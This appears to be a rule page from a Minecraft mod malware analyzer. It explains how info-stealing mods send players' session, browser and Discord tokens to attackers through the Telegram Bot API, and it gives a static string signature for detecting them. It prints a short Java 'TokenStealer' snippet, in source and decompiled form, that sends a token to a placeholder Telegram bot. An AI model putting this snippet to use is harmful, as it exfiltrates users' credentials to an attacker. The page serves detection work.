Leaf Leaf Mod Analyzer

Telegram Bot API Exfiltration (C2)

Telegram_C2_Bot Malware CRITICAL +9 score

🎮 Minecraft Gameplay Impact

Info-stealers and malicious payload droppers target Minecraft players to extract session tokens, browser credentials, and Discord tokens. Malicious mods embed Telegram Bot tokens and use HTTP POST requests to api.telegram.org/bot<token>/sendMessage or sendDocument to exfiltrate stolen credentials directly to an attacker's private chat.

🔍 Functions & APIs Analyzed

ConstantPool CONSTANT_Utf8

String literal containing api.telegram.org/bot endpoint URL.

💻 Mod Implementation (Dev Source / Mapped) 

// Malicious payload exfiltration snippet
public class TokenStealer {
    public static void exfiltrate(String token) {
        String url = "https://api.telegram.org/bot123456:ABC-DEF/sendMessage?chat_id=98765&text=" + token;
        HttpClient.newHttpClient().send(HttpRequest.newBuilder().uri(URI.create(url)).build(), BodyHandlers.discarding());
    }
}

⚙️ Decompiled Representation (Vineflower View) 

// Decompiled with Vineflower 1.12
public class TokenStealer {
    public static void exfiltrate(String token) {
        String url = "https://api.telegram.org/bot123456:ABC-DEF/sendMessage?chat_id=98765&text=" + token;
        HttpClient.newHttpClient().send(HttpRequest.newBuilder().uri(URI.create(url)).build(), BodyHandlers.discarding());
    }
}

🛡️ Bytecode Signature & Static Detection

Matches string literals containing the Telegram Bot API endpoint (api.telegram.org/bot).